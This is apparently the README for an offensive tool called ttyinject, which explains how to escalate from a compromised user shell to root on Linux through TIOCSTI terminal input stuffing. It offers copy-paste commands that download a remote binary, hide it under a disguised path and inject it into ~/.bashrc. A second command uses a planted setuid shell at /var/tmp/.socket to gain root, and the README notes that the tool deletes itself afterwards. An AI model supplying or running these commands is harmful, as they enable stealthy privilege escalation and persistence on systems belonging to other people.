Alice gets ROOT when ROOT does 'su alice'.

(The oldest trick in the book - TTY / TIOCSTI stuffing)

Useful when all other exploits fail.

Typically used when the attacker has a shell as user 'apache', 'php' or 'postgresql'. Alice is used as an example only.

Deploy

Cut & paste the following into Alice's shell:

mkdir -p ~/.config/procps 2>/dev/null
curl -o ~/.config/procps/reset -fsSL "https://github.com/hackerschoice/ttyinject/releases/download/v1.1/ttyinject-linux-$(uname -m)" \
&& chmod 755 ~/.config/procps/reset \
&& if grep -qFm1 'procps/reset' ~/.bashrc; then echo >&2 "Already installed in ~/.bashrc"; else \
echo "$(head -n1 ~/.bashrc)"$'\n'"~/.config/procps/reset 2>/dev/null"$'\n'"$(tail -n +2 ~/.bashrc)" >~/.bashrc; fi

Wait for ROOT to execute 'su alice' and thereafter gain root with:

/var/tmp/.socket -p -c "exec python3 -c \"import os;os.setuid(0);os.setgid(0);os.execl('/bin/bash', '-bash')\""

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Why this works:

TL;DR:

• su does not allocate a new TTY when switching to a non-privileged user.
• The non-privileged user can then use ioctl(0, TIOCSTI, ...) to inject input into the root's shell prompt.
• The injected input copies /bin/sh to /var/tmp/.socket and +s the same.
• Executes only once (from Alice's ~/.bashrc). Deletes itself afterwards.

Read the source for more details.